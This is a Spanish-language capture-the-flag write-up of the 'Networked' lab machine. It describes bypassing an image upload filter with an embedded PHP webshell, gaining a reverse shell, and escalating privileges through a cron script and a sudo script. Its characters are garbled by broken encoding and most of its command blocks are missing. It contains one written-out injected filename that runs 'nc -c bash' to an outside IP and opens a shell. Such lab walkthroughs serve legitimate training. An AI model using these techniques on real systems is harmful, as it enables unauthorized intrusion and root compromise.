Networked

Publicado: 02 de Junio de 2025 Autor: Josรฉ Miguel Romero aKa x3m1Sec Dificultad: โญ Easy
๐ Descripciรณn
Networked es una mรกquina Linux de dificultad Easy que simula una aplicaciรณn web vulnerable de galerรญa de fotos. La explotaciรณn se centra en la subida de archivos maliciosos que permiten ejecuciรณn remota de cรณdigo a travรฉs de filtros de validaciรณn dรฉbiles. El vector de escalada de privilegios implica la explotaciรณn de un script cron vulnerable y posteriormente un script sudo mal configurado que permite la ejecuciรณn de comandos como root.
La mรกquina enseรฑa conceptos fundamentales como bypass de filtros de subida de archivos, anรกlisis de cรณdigo fuente, explotaciรณn de tareas cron y escalada de privilegios mediante configuraciones sudo inseguras.
๐ญ Reconocimiento
Ping para verificaciรณn en base a TTL
๐ก Nota: El TTL cercano a 64 sugiere que probablemente sea una mรกquina Linux.
Escaneo de puertos
Enumeraciรณn de servicios
๐ Enumeraciรณn Web
80 HTTP
http://10.10.10.146/
Enumerando el sitio web encontramos a priori poca cosa salvo este mensaje:

Revisando el cรณdigo fuente de la pรกgina hay un comentario que sugiere que podrรญa haber un mรณdulo de subida de archivos e imรกgenes aunque aรบn no estรก enlazado.
๐ท๏ธFuzzing de directorios
Al realizar fuzzing de directorios usando la herramienta gobuster descubrimos algunos directorios que corroboran el comentario que habรญamos encontrado anteriormente:

http://10.10.10.146/upload.php


El archivo backup.tar contiene un respaldo del cรณdigo fuente de la aplicaciรณn.
๐ฅ Explotaciรณn
๐ Anรกlisis del cรณdigo fuente
Esto nos permitirรก analizarlo para ver si podemos obtener una RCE a partir de una subida arbitraria de archivos.
Tras analizar el cรณdigo verificamos varias restricciones:
Requiere que el contenido real sea de tipo image/* (analizado con finfo_file()).
Tamaรฑo del archivo < 60 KB.
Solo se permite si el nombre del archivo termina con .jpg, .png, .gif o .jpeg.
Para llevar a cabo la explotaciรณn realizamos los siguientes pasos:
Creamos una imagen dummy que sea vรกlida
Embebemos una php shell en la imagen que hemos creado anteriormente
Verificamos el tamaรฑo y el mime type para asegurarnos de que cumpla con las condiciones necesarias para pasar los filtros de validaciรณn:
Renombramos el archivo
๐ Obtenciรณn de RCE
Ahora nos vamos al mรณdulo de subida de archivos e interceptamos la peticiรณn con burp y verificamos que la imagen se suba correctamente:

Ahora nos vamos a http://10.10.10.146/photos.php y verificamos que se haya subido correctamente nuestro archivo:

Accedemos a ella revisando el cรณdigo fuente de la pรกgina y usando la url de la imagen. A continuaciรณn ejecutamos el comando id haciendo uso de la webshell y confirmamos que funciona:

Una vez confirmada la PoC, usamos una bash reverse shell y la codificamos como URL para ganar acceso remoto a la mรกquina objetivo:


Mejora de la tty
Acceso inicial
Una vez ganado acceso a la mรกquina, descubrimos un directorio de usuario llamado guly y vemos que no tenemos permisos para leer la flag:
Verificamos el contenido crontab.guly y de check_attack.php y vemos que hay una expresiรณn crontab que cada tres minutos ejecuta el archiv check_attack.php:
Este cรณdigo busca en el directorio /var/www/html/uploads/para recuperar todos los archivos de รฉl. La funciรณn โexecโ es notable porque nos permite crear un nuevo archivo llamado โ; nc -c bash 10.10.16.42 9002โ. Una vez que el script se ejecuta y detecta este archivo, inyectarรก nuestro comando en รฉl.
Para llevar a cabo la explotaciรณn, nos situamos en el directorio /var/www/html/uploads/ y creamos el siguiente archivo:

Esperamos 3 minutos a que se ejecute y obtenemos una shell como guly y obtenemos la primera flag:

๐ Escalada de Privilegios
Descubrimos que el usuario guly puede puede ejecutar como root un script llamado changename.sh
El usuario guly tiene permisos de lectura y ejecuciรณn sobre este script:
Revisamos el contenido de este script para su anรกlisis:
https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
La clave en el script anterior estรก en que se realiza un read de x y la expresiรณn regular รบnicamente valida que sea caracteres alfanumรฉricos y ciertos sรญmbolos. Pero si aprovechamos para introducir un espacio o cualquier otro comando antes de ejecutar ciertos comandos como "id" o directamente una "/bin/bash" observamos que lo acepta sin problemas y dado que este es un script en el que se estรก ejecutando como root y ademรกs hay definido un bash -p que ejecuta bash en modo privilegiado, pues resulta sencillo:

Last updated